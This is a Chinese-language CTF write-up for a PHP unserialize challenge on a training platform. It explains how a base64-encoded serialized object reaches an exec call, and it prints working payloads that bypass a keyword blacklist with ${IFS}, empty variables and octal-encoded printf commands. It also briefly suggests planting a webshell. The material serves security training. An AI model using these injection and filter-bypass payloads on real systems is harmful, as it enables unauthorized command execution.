前言

有好久没有做过ctf的题了 之前一直在学习打靶的课程, 这次忽然产生了做题的想法 可能也是受到学校竞赛的影响、在此之前都是一个人默默在学网络安全,真不知道能走到哪里 。

关于ctf 我一直认为脑洞很大 涉及的知识点相当多 有的不乏奇技淫巧。网上的wp有很多人写 但我认为有很多缺乏思路 验证 因此我想写详细一点的 带思路的wp .

原题地址

攻防世界https://adworld.xctf.org.cn/challenges/details?hash=3714626e-3a5b-11ed-abf3-fa163e4fa609&task_category_id=3

这是一个php的代码 似乎要post的方法提交一个名为ctf的参数 之后对ctf进行base64的解码 在反序列化

说到php的unserialize 不得不提的是反序列化的漏洞 这种漏洞一定程度上可以实现参数可控注入payload 结合魔术方法执行函数

工具的准备

我需要发post请求 可是我的浏览器不能手动编辑发送的包。 想用bp截包的话,得安装jave的环境 而且用浏览器搜索东西的时候得切来切去比较麻烦 ,用kali虚拟机得太内存了 。最后还是用火狐浏览器的插件

最后为了测试php 我又安装WAMPSERVER来测试php代码

分析代码

源码版


<?php
highlight_file(__FILE__);
class ease{
 private $method;
 private $args;
 function __construct($method, $args) {
   $this->method = $method;
   $this->args = $args;
}
 function __destruct(){
   if (in_array($this->method, array(“ping”))) {
     call_user_func_array(array($this, $this->method), $this->args);
  }
}
 function ping($ip){
   exec($ip, $result);
   var_dump($result);
}
 function waf($str){
   if (!preg_match_all(“/(\||&|;| |\/|cat|flag|tac|php|ls)/”, $str, $pat_array)) {
     return $str;
  } else {
     echo “don’t hack”;
  }
}
 function __wakeup(){
   foreach($this->args as $k => $v) {
     $this->args[$k] = $this->waf($v);
  }
}
}
$ctf=@$_POST[‘ctf’];
@unserialize(base64_decode($ctf));
?>


分析版


<?php
highlight_file(__FILE__);
class ease{
   private $method;//ping
   private $args;//array(”)
   function __construct($method, $args) {//创建对象时触发
       $this->method = $method;
       $this->args = $args;
  }
   function __destruct(){//对象销毁时触发
       if (in_array($this->method, array(“ping”))) {//如果ping匹配数组里有ping进入if
           //这个决定了 $a = new ease(“ping”,array(‘pwd’));的第一个参数ping
           //下面的函数也决定了第二个参数是 数组型array(”)
           call_user_func_array(array($this, $this->method), $this->args);
           //调用回调函数,并把一个数组参数作为回调函数的参数
           //被调用的函数 this之这个类 method 就是函数ping 参数是args
           //只针对php
          // call_user_func_array(array($ease,”ping”),array(‘one’));
      }
  }
   function ping($ip){//等于执行了ping(“one”)
       //ping的参数只有一个因此数组传一个参就好了
       exec($ip, $result);
       var_dump($result);//貌似执行了这个$ip命令返回了结果
  }
   function waf($str){
       if (!preg_match_all(“/(\||&|;| |\/|cat|flag|tac|php|ls)/”, $str, $pat_array)) {
           //正则表达式()整体修饰|或&或;或 或/或cat或flag或tac或php或ls 这都是liunx常用的一些执行命令
           return $str;//绕过表达式 返回传参
      } else {
           echo “don’t hack”;
      }
  }
   function __wakeup(){//执行unserialize()时,先会调用这个函数
       foreach($this->args as $k => $v) {//遍历关联数组 foreach ($array as $key => $value)
           $this->args[$k] = $this->waf($v);//调用waf函数输入$v //若果绕过waf本身的args不会变
      }
  }
$ctf=@$_POST[‘ctf’];//post传参ctf=xxxx
@unserialize(base64_decode($ctf));//先对ctf进行base64解密 在反序列话
//unserialize先检查__wakeup()存在的意义:常常初始化操作 或 连接数据库
/*(前提:有可利用的类)
常见的魔术方法
__construct()       //创建对象时触发
__destruct()       //对象销毁时触发
__call()       //在对象中调用不可访问的方法时触发
__callStatic()       //在静态中调用不可访问的方法时触发
__get()       //用于从不可访问的属性读取数据
__set()       //用于将数据写入不可访问的属性
__isset()       //在不可访问的属性上调用isset()或empty()触发
__unset()       //在不可访问的属性上使用unset()时触发
__invoke()       //当脚本尝试将对象调用为函数时触发
__wakeup()       //执行unserialize()时,先会调用这个函数
__sleep()       //执行serialize()时,先会调用这个函数*/
?>

整个代码流程

如果ctf里有了序列化的参数

传参ctf——base64解密——进__construct ()(带进去参数)(注意:这个之前传参创建对象的时候就执行了)——进入__wakeup(绕过正则表达式)——调用waf()——反序列化——__destruct()——用call_user_func_array调用ping函数——ping

琐碎知识点

1,正则表达式

2,魔术方法

3,php函数preg_match_all

4,php函数call_user_func_array

5,php函数exec

参考php官方手册PHP: Hypertext Preprocessorhttps://www.php.net/

正则表达式正则表达式 – 语法 | 菜鸟教程正则表达式 – 语法 正则表达式(regular expression)描述了一种字符串匹配的模式(pattern),可以用来检查一个串是否含有某种子串、将匹配的子串替换或者从某个串中取出符合某个条件的子串等。 例如: runoo+b,可以匹配 runoob、runooob、runoooooob 等,+ 号代表前面的字符必须至少出现一次(1次或多次)。 runoo*b,可以匹配 runob、runoob、runoooooob 等..

这些请自行学习

解题代码测试

可以结合分析代码来回看

建立文件 本地测试


<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
   $this->method = $method;
   $this->args = $args;
}
// function __destruct(){
//     if (in_array($this->method, array(“ping”))) {
//         call_user_func_array(array($this, $this->method), $this->args);
//     }
// }
// function ping($ip){
//     exec($ip, $result);
//     var_dump($result);
// }
// function waf($str){
//     if (!preg_match_all(“/(\||&|;| |\/|cat|flag|tac|php|ls)/”, $str, $pat_array)) {
//         return $str;
//     } else {
//         echo “don’t hack”;
//     }
// }
// function __wakeup(){
//     foreach($this->args as $k => $v) {
//         $this->args[$k] = $this->waf($v);
//     }
// }
}
$ctf=@$_POST[‘ctf’];
@unserialize(base64_decode($ctf));
$a = new ease(“ping”,array(‘测试点’));
//Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyMDoiJChwcmludGYJIlwxNTRcMTYzIikiO319
$b = serialize($a);
echo $b;
echo base64_encode($b);//将打印出base64复制到post ctf参数中
?>

重要思路及测试

$a = new ease(“ping”,array(‘pwd’));


将编码后的base64 通过参数名ctf post到题里

pwd成功被执行了

想执行ls 看看flag 在哪里 可是ls会被匹配到 怎么才能绕过呢

通过网络大量的检索 发现可以用一些空的环境变量绕过

$a = new ease(“ping”,array(‘l${Z}s’));

输出Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo2OiJsJHtafXMiO319

查看到类似文件夹flag_ls_here

执行ls flag_1s_here就好了 注意flag也要绕过

$a = new ease(“ping”,array(‘l${Z}s${IFS}f${Z}lag_1${Z}s_here’));//flag_831b69012c67b35f.php

ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozMjoibCR7Wn1zJHtJRlN9ZiR7Wn1sYWdfMSR7Wn1zX2hlcmUiO319

注意${IFS}这个可以替代空格 如果是敲到的空格 会造成命令未执行成功返回空数组

看来flag_1s_here文件夹下存在

flag_831b69012c67b35f.php

访问http://61.147.171.105:57377/flag_1s_here/flag_831b69012c67b35f.php

这个是php文件空白的 看来执行php后无法获取flag

需要用到cat命令

怎样才能执行 cat flag_1s_here/flag_831b69012c67b35f.php呢

cat flag php 这几个关键词可以绕过 但是”/“怎么可以绕过?

通过网络的检索最终也没有得到绕过的方法     ; 和&又不能用 想要多次执行语句以此替代“/”行不通

cd flag_1s_here;cat flag_831b69012c67b35f.php

cd flag_1s_here&&cat flag_831b69012c67b35f.php

但是在检索中我发现一种执行命令的新方法

貌似是uncode编码$(printf “\154\163”) 但是好像并不是unicode编码

拿着这段代码 在我的kali机上执行发现真的可以执行ls命令

\154\163怎么就能代替ls了!?

印象中“\”开头的是八进制 这会不会是assic码

\154=4+5*8+1*8^2=4+40+64=108 对应assic码”l“

\163=3+6*8+1*8^2=3+48+64=115 对应assic码”s“

根据这个思路我写了一个c语言的代码

#include <stdio.h>
int main()
{
/* code */
char site[] = “cat flag_1s_here/flag_831b69012c67b35f.php”;
for (int i = 0; i < sizeof site / sizeof site[0]; i++) {
       printf(“\\%o”,site[i]);
  }
return 0;
}
  1. 运行后结果为
  2. \143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160
  3. 使用
  4. $a = new ease(“ping”,array(‘$(printf${IFS}”\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160″)’));
  5. 输出Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319
  6. 继续测试
  7. 终于得到了flag
  8. 总结
  9. 本题出现了大量我所未知的php函数 十分的考验短时间内学习的能力 往往做题中也是这样 边做题 边学习。
  10. flag找到了 我也有几个思考
  11. 是否有其他的命令代替cat呢?
  12. 能不能向网站目录里 写入一句话 来获取一个更好的shell呢
  13. 是否有其他的绕过方式来执行命令?
  14. 关于php的编码(使用双重编码)是否可以绕过呢?
  15. 这几个交个大家思考吧!
  16. 如果你在做题的过程中遇到了什么难题 或者有什么不明白的地方 ,再或者你有什么更好的思路
  17. 欢迎在评论下方留言 让我们一起讨论。